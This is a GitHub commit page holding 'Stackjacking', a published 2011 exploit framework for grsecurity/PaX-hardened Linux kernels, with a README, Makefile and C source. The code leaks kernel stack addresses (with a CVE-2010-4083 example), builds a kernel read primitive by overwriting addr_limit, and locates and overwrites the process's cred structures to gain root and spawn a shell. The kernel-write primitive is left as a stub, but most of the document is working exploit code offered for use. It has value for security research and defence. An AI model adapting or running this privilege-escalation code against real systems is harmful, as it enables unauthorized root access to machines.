Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with
or
.
Download ZIP
Browse files

import initial code snapshot

  • Loading branch information...
commit 46790a2fa296ae760f43cd8a982d00fb4b1380a8 1 parent 4544208
@jonoberheide authored
View
20 Makefile
@@ -0,0 +1,20 @@
+
+all: stackjack
+
+stackjack: stackjack.o util.o kstack.o leak.o
+ gcc stackjack.o util.o kstack.o leak.o -o stackjack
+
+stackjack.o: stackjack.c
+ gcc -c stackjack.c
+
+util.o: util.c
+ gcc -c util.c
+
+leak.o: leak.c
+ gcc -c leak.c
+
+kstack.o: kstack.c kstack.h
+ gcc -c kstack.c
+
+clean:
+ rm -rf *.o stackjack
View
45 README
@@ -0,0 +1,45 @@
+/****************************************************************************
+ * Stackjacking:
+ * A grsecurity/PaX exploit framework
+ *
+ * As demonstrated at Hackito Ergo Sum and Immunity INFILTRATE, April 2011
+ *
+ * Dan Rosenberg (dan.j.rosenberg@gmail.com)
+ * Jon Oberheide (jon@oberheide.org)
+ ***************************************************************************/
+
+Congratulations on reading the README. Your prize is actually understanding
+what this code is, and what it isn't.
+
+There are no 0-days to be found here. What's included is a framework that we
+used to exploit a grsecurity-hardened Linux kernel given the existence of an
+arbitrary kernel write and the leakage of uninitialized structure members from
+a process' kernel stack. To be clear, this attack vector is completely
+unnecessary when exploiting a vanilla Linux kernel, since an arbitrary write is
+more than sufficient to get root, given the vast amount of useful targeting
+information Linux gives out via /proc, etc. Likewise, the information leakage
+performed by libkstack is also unnecessary on vanilla, since there are much
+easier ways of getting this information. However, due to GRKERNSEC_HIDESYM,
+which aims to make the kernel a black box for attackers by removing all known
+sources of information leakage, and PAX_KERNEXEC, which makes global data
+structures with known locations (such as the IDT) read-only, some hoops need to
+be jumped through in order to actually find a good target for a kernel write
+vulnerability.
+
+The specific attack vectors that we used during the presentation have since
+been mitigated by moving the thread_info struct off the kernel stack and by
+implementing kernel stack entry point randomization for 64-bit platforms. This
+code is being released because people asked for it and because pieces of it,
+especially libkstack, may be useful for future exploits.
+
+If you'd like to use this, you'll need to plug in an arbitrary kernel write
+into the kernel_write() function in util.c, and a kernel stack leak into
+leak_bytes() in leak.c. A sample suitable leak can be found in the examples/
+directory. To build the exploit, just run "make".
+
+For details on the techniques used and the implementation, see the comments in
+the source code.
+
+TODO:
+-Detection of 4K vs. 8K kernel stacks (mostly done)
+-Support for partial (smaller than word) leaks (done, omitted for ease of use)
View
50 examples/ipc.c
@@ -0,0 +1,50 @@
+#include <stdio.h>
+#include <linux/ipc.h>
+#include <asm/sembuf.h>
+#include <stdlib.h>
+#include <fcntl.h>
+#include <stdint.h>
+#include <linux/sem.h>
+#include <string.h>
+
+#include "kstack.h"
+
+int sem;
+
+int setup()
+{
+
+ /* Create the semaphore we're going to use later */
+ sem = semget(IPC_PRIVATE, 1, IPC_CREAT | 0x1ff);
+ return sem;
+
+}
+
+/* This leverages CVE-2010-4083, an uninitialized structure member leak
+ * in IPC. As described, it returns a MAGIC terminated array of longs
+ * containing the leaked bytes. */
+unsigned long * leak_bytes()
+{
+
+ union semun arg;
+ int ret;
+ struct semid_ds out;
+ unsigned long * bytes;
+
+ bytes = malloc(5 * sizeof(long));
+
+ memset(&out, 0, sizeof(out));
+ memset(&arg, 0, sizeof(arg));
+
+ arg.buf = &out;
+
+ ret = syscall(117, SEMCTL, sem, 0, SEM_STAT, &arg);
+
+ bytes[0] = (unsigned long)out.sem_base;
+ bytes[1] = (unsigned long)out.sem_pending;
+ bytes[2] = (unsigned long)out.sem_pending_last;
+ bytes[3] = (unsigned long)out.undo;
+ bytes[4] = MAGIC;
+
+ return bytes;
+}
View
184 kstack.c
@@ -0,0 +1,184 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <syscall.h>
+#include <fcntl.h>
+#include <string.h>
+#include "kstack.h"
+
+/* As funny as fork-bombing is, we should avoid
+ * priming with certain syscalls */
+int is_blacklisted(int sys)
+{
+
+ switch(sys) {
+ /* 64-bit syscalls */
+ #ifdef __x86_64__
+ case 12: /* brk */
+ case 13: /* rt_sigaction */
+ case 14: /* rt_sigprocmask */
+ case 15: /* rt_sigreturn */
+ case 22: /* pipe */
+ case 23: /* select */
+ case 32: /* dup */
+ case 33: /* dup2 */
+ case 34: /* pause */
+ case 35: /* nanosleep */
+ case 56: /* clone */
+ case 57: /* fork */
+ case 58: /* vfork */
+ case 60: /* exit */
+ case 61: /* wait4 */
+
+ /* 32-bit syscalls */
+ #else
+ case 0: /* restart_syscall */
+ case 1: /* exit */
+ case 2: /* fork */
+ case 7: /* waitpid */
+ case 26: /* ptrace */
+ case 29: /* pause */
+ case 36: /* sync */
+ case 41: /* dup */
+ case 42: /* pipe */
+ case 45: /* brk */
+ case 63: /* dup2 */
+ case 67: /* sigaction */
+ case 69: /* ssetmask */
+ case 72: /* sigsuspend */
+ case 73: /* sigpending */
+ case 82: /* select */
+ #endif
+ return 1;
+ default:
+ return 0;
+ }
+}
+
+inline int test_possible_kstack(unsigned long test)
+{
+
+ /* Check the range */
+ if(test < KSTACKBASE || test > KSTACKTOP)
+ return 0;
+
+ /* Check if it's at a reasonable depth */
+ if((test % 4096) < (4096 - DEPTH))
+ return 0;
+
+ return 1;
+}
+
+/* Given an array of candidate stack addresses,
+ * check to see if there's sufficient confidence
+ * in our answer.
+ *
+ * Returns -1 on failure and the index into the
+ * candidate array on success */
+int check_agreement(unsigned long * can)
+{
+
+ int i, j = 0, count = 0;
+ unsigned long current;
+
+ current = can[0];
+
+ while(1) {
+
+ count = 0;
+ /* Loop through all the candidates */
+ for(i = 0; i < NUM_TRIALS; i++) {
+
+ /* Count the number matching the current one */
+ if(can[i] == current)
+ count++;
+ }
+
+ /* If it's more than half the items, there
+ * can't be a more common item */
+ if(count > NUM_TRIALS / 2)
+ break;
+
+ /* Otherwise, let's move forward and check the
+ * next different element */
+ while(can[j] == current && j < NUM_TRIALS)
+ j++;
+
+ /* If we reach the end we haven't found a match */
+ if(j == NUM_TRIALS)
+ return -1;
+
+ current = can[j];
+ }
+
+ if(count > THRESHOLD)
+ return j;
+
+ return -1;
+}
+
+/* Our main function */
+unsigned long get_kstack()
+{
+
+ int trysys, i, fd, seed, attempt = 0;
+ unsigned long * can, * leaked, kstack;
+
+ /* Let's do this the right way... */
+ fd = open("/dev/urandom", O_RDONLY);
+ read(fd, &seed, sizeof(int));
+ close(fd);
+
+ srand(seed);
+
+ /* Keep an array of kstack pointer candidates */
+ can = malloc(NUM_TRIALS * sizeof(unsigned long));
+
+ while(1) {
+
+ attempt = 0;
+
+ while(attempt < NUM_TRIALS) {
+
+ /* Get a random syscall */
+ trysys = rand() % 100;
+
+ /* Skip the blacklisted ones */
+ if(is_blacklisted(trysys))
+ continue;
+
+ /* Prime the kstack with a random syscall */
+ for(i = 0; i < 4; i++)
+ syscall(trysys, 0, 0, 0, 0);
+
+ /* leak_bytes returns a MAGIC-terminated array
+ * of leaked words */
+ leaked = leak_bytes();
+
+ for(i = 0; leaked[i] != MAGIC; i++) {
+
+ /* If our heuristics say this is probably a
+ * kstack pointer, keep it as a candidate */
+ if(test_possible_kstack(leaked[i])) {
+ /* Assume 8K stack */
+ can[attempt] = leaked[i] & ~0x1fff;
+ attempt++;
+ break;
+ }
+ }
+
+ free(leaked);
+ }
+
+ /* check_agreement returns -1 if the most
+ * common candidate occurs less than the
+ * threshold, and the index into our array
+ * containing a winner otherwise */
+ i = check_agreement(can);
+
+ if(i >= 0) {
+ kstack = can[i];
+ free(can);
+ return kstack;
+ }
+ }
+}
View
28 kstack.h
@@ -0,0 +1,28 @@
+unsigned long get_kstack();
+unsigned long * leak_bytes();
+
+struct candidate {
+ int syscall;
+ int index;
+ unsigned long kstack;
+};
+
+/* A reasonable estimate at the maximum depth from
+ the top of the stack a leaked address would reside */
+#define DEPTH 500
+
+/* Number of trials to check agreement */
+#define NUM_TRIALS 10
+
+/* Threshold for agreement */
+#define THRESHOLD 8
+
+#ifdef __x86_64__
+#define KSTACKBASE 0xffff880000000000
+#define KSTACKTOP 0xffff8800c0000000
+#define MAGIC 0xdeadbeefdeadbeef
+#else
+#define KSTACKBASE 0xc0000000
+#define KSTACKTOP 0xff000000
+#define MAGIC 0xdeadbeef
+#endif
View
30 leak.c
@@ -0,0 +1,30 @@
+#include <stdio.h>
+#include <stdlib.h>
+
+#include "kstack.h"
+
+/* Include any setup code needed for the leak here.
+ *
+ * Returns 0 on success, -1 on failure.
+ */
+int setup()
+{
+
+ return 0;
+
+}
+
+/* Leverage a leak of uninitialized structure members
+ * off the kernel stack. Allocate an array of longs
+ * and fill it with the leaked bytes, terminating with
+ * the MAGIC value.
+ *
+ * Returns a pointer to the leak array.
+ */
+unsigned long * leak_bytes()
+{
+
+ printf("[*] leak_bytes() function has not been filled in.\n");
+ exit(-1);
+
+}
View
267 stackjack.c
@@ -0,0 +1,267 @@
+/*
+ * Stackjacking:
+ * A grsecurity/PaX exploit framework
+ *
+ * As demonstrated at Hackito Ergo Sum and Immunity INFILTRATE, April 2011
+ *
+ * Dan Rosenberg (dan.j.rosenberg@gmail.com)
+ * Jon Oberheide (jon@oberheide.org)
+ *
+ * This is a technique that relies on an arbitrary kernel write vulnerability
+ * and the leakage of as little as three bytes of uninitialized kernel stack
+ * data, typically via copying back of uninitialized structure members.
+ *
+ * We leverage libkstack, which allows us to use the leak to determine the
+ * address of the current process' kernel stack.
+ */
+
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <limits.h>
+
+#include "kstack.h"
+
+#ifdef __x86_64__
+#define USER_DS 0xffff80000000
+#define KPTR_MAX 0xffffff0000000000
+#else
+#define USER_DS 0xc0000000
+#define KPTR_MAX 0xff200000
+#endif
+
+#define KERNEL_DS ULONG_MAX
+
+/* Globals */
+int fd[2]; /* file descriptors for kread */
+unsigned long kstack; /* kernel stack address */
+
+/* Dumb heuristic for if this is possibly a kernel pointer */
+int is_kernel_pointer(unsigned long ptr)
+{
+
+ if(ptr > USER_DS && ptr < KPTR_MAX && !(ptr % sizeof(long)))
+ return 1;
+
+ return 0;
+}
+
+/* This is the function that leverages our kernel write and the ability to
+ * determine the base address of the current process' kernel stack to build a
+ * kernel read primitive. It does this by taking advantage of the thread_info
+ * struct's addr_limit variable.
+ *
+ * In the mainline kernel, if the addr_limit of a process were to be set to
+ * contain KERNEL_DS, all access checks on kernel-to-user copy operations would
+ * pass, and you could read kernel memory by simply calling write() with a
+ * source address of where you want to read. However, because PAX_UDEREF
+ * implements proper segmentation, we need to make sure the segment registers
+ * (specifically the %gs register) contain the appropriate descriptor to allow
+ * kernel-to-kernel copying.
+ *
+ * Fortunately, UDEREF reloads the %gs register based on the contents of
+ * addr_limit whenever a thread wakes up from a context switch. If we could
+ * cause a context switch to happen in any kernel function immediately before
+ * user-supplied pointers are copied into kernel space in a retrievable
+ * location, then we could build an arbitrary read.
+ *
+ * It turns out repeatedly calling write() does the trick. Eventually, write()
+ * will be called and the process will be scheduled out before it copies data
+ * in. When it resumes execution, its %gs register will contain __KERNEL_DS
+ * and we can do kernel-to-kernel copying, allowing us to copy from a kernel
+ * address into a pipe.
+ *
+ */
+unsigned long kread(unsigned long addr, unsigned long size, void * dest) {
+
+ unsigned long addr_limit = kstack + sizeof(void *)*2 + sizeof(int)*4;
+
+ /* Use our kwrite to set addr_limit to KERNEL_DS */
+ kernel_write(addr_limit, KERNEL_DS);
+
+ /* Loop until our write happens to be scheduled out
+ * at the right moment, reloading our %gs register.
+ *
+ * Note that this should only loop once on x86-64,
+ * since there's no segmentation. */
+ while (write(fd[1], (void *)addr, size) == -1);
+
+ /* Restore USER_DS */
+ kernel_write(addr_limit, USER_DS);
+
+ /* Get our data */
+ read(fd[0], dest, size);
+
+ return size;
+
+}
+
+/* The function that actually gets us root. It leverages our arbitrary read
+ * and write primitives to find the current process' credentials structure and
+ * set its uid and capabilities fields.
+ *
+ * Assumes a kernel version >= 2.6.29, which introduced a separate cred structure.
+ * If your kernel is older than this, modify appropriately. */
+int getprivs() {
+
+ unsigned long task, cred, cred_ptr, real_cred, real_cred_ptr, val;
+ unsigned int i, found_cred = 0, uid = getuid();
+ unsigned long * task_struct;
+
+ /* task_struct is always first pointer in thread_info */
+ kread(kstack, 4, &task);
+
+ if (!is_kernel_pointer(task)) {
+ printf("[*] task_struct pointer (%lx) has a NULL byte. ", task);
+ printf("Try again.\n");
+ return -1;
+ }
+
+ printf("[*] task_struct found at %lx\n", task);
+
+ task_struct = malloc(sizeof(long) * 0x200);
+
+ printf("[*] Reading task_struct...\n");
+
+ kread(task + 0x80, sizeof(long) * 0x200, task_struct);
+
+ /* Walk up task_struct to find the cred struct.
+ * We can't walk backwards from the comm array,
+ * because grsecurity moves the cred and real_cred
+ * structs to weird places inside the task_struct
+ */
+ printf("[*] Finding cred struct (grab a coffee)...\n");
+ cred_ptr = task + 0x80;
+
+ for (i = 0; i < 0x200; i++) {
+
+ /* Looking for cred */
+ if(!found_cred) {
+ cred = task_struct[i];
+
+ if (is_kernel_pointer(cred)) {
+ kread(cred + sizeof(int), 4, &val);
+ if((int)val == (int)uid) {
+ kread(cred + sizeof(int)*2, 4, &val);
+ if((int)val == (int)uid) {
+ found_cred = 1;
+ real_cred_ptr = cred_ptr + 4;
+ printf("[*] cred struct ptr at %lx\n", cred_ptr);
+ printf("[*] cred struct at %lx\n", cred);
+ printf("[*] Finding real_cred struct...\n");
+ continue;
+ }
+ }
+ }
+ cred_ptr += sizeof(long);
+ }
+ /* Looking for real_cred */
+ else {
+ real_cred = task_struct[i];
+
+ if (is_kernel_pointer(real_cred)) {
+ kread(real_cred + sizeof(int), 4, &val);
+ if((int)val == (int)uid) {
+ kread(real_cred + sizeof(int)*2, 4, &val);
+ if((int)val == (int)uid)
+ break;
+ }
+ }
+ real_cred_ptr += sizeof(long);
+ }
+ }
+
+ free(task_struct);
+
+ printf("[*] real_cred struct ptr at %lx\n", real_cred_ptr);
+ printf("[*] real_cred struct at %lx\n", real_cred);
+
+ /* modify cred struct in-place */
+ /* Assumes no CONFIG_DEBUG_CREDENTIALS */
+ kernel_write(cred + 4, 0); /* uid */
+ kernel_write(cred + 8, 0); /* gid */
+ kernel_write(cred + 12, 0); /* suid */
+ kernel_write(cred + 16, 0); /* sgid */
+ kernel_write(cred + 20, 0); /* euid */
+ kernel_write(cred + 24, 0); /* egid */
+ kernel_write(cred + 28, 0); /* fsuid */
+ kernel_write(cred + 32, 0); /* fsgid */
+ kernel_write(cred + 36, 0); /* securebits */
+ kernel_write(cred + 40, UINT_MAX); /* cap_inheritable */
+ kernel_write(cred + 44, UINT_MAX);
+ kernel_write(cred + 48, UINT_MAX); /* cap_permitted */
+ kernel_write(cred + 52, UINT_MAX);
+ kernel_write(cred + 56, UINT_MAX); /* cap_effective */
+ kernel_write(cred + 60, UINT_MAX);
+
+ kernel_write(real_cred + 4, 0); /* uid */
+ kernel_write(real_cred + 8, 0); /* gid */
+ kernel_write(real_cred + 12, 0); /* suid */
+ kernel_write(real_cred + 16, 0); /* sgid */
+ kernel_write(real_cred + 20, 0); /* euid */
+ kernel_write(real_cred + 24, 0); /* egid */
+ kernel_write(real_cred + 28, 0); /* fsuid */
+ kernel_write(real_cred + 32, 0); /* fsgid */
+ kernel_write(real_cred + 36, 0); /* securebits */
+ kernel_write(real_cred + 40, UINT_MAX); /* cap_inheritable */
+ kernel_write(real_cred + 44, UINT_MAX);
+ kernel_write(real_cred + 48, UINT_MAX); /* cap_permitted */
+ kernel_write(real_cred + 52, UINT_MAX);
+ kernel_write(real_cred + 56, UINT_MAX); /* cap_effective */
+ kernel_write(real_cred + 60, UINT_MAX);
+
+ if(getuid()) {
+ printf("[*] Exploit failed to get root.\n");
+ return -1;
+ }
+
+ printf("[*] Overwrote creds in place\n");
+ return 0;
+
+}
+
+int main(int argc, char * argv[])
+{
+
+ int ret;
+
+ /* For our kread */
+ ret = pipe(fd);
+
+ if(ret < 0) {
+ printf("[*] Failed to open pipe.\n");
+ return -1;
+ }
+
+ /* Setup for our leak */
+ ret = setup();
+
+ if(ret < 0) {
+ printf("[*] Setup for kstack leak failed.\n");
+ return -1;
+ }
+
+ /* Get our kernel stack base address using libkstack */
+ kstack = get_kstack();
+ printf("[*] Kernel stack found at: %lx\n", kstack);
+
+ /* Increase niceness to improve likelihood of being
+ * scheduled out during kernel read */
+ nice(20);
+
+ /* Get root */
+ ret = getprivs();
+
+ if (!ret) {
+ execl("/bin/sh", "/bin/sh", NULL);
+
+ /* Shouldn't reach this... */
+ printf("[*] Failed to spawn shell\n");
+ }
+
+ return 1;
+}
View
11 util.c
@@ -0,0 +1,11 @@
+#include <stdlib.h>
+#include <stdio.h>
+
+/* Plug in a kernel write exploit primitive here. */
+int kernel_write(unsigned long target, unsigned long val)
+{
+
+ printf("[*] kernel_write() function has not been filled in.\n");
+ exit(-1);
+
+}
Please sign in to comment.
Something went wrong with that request. Please try again.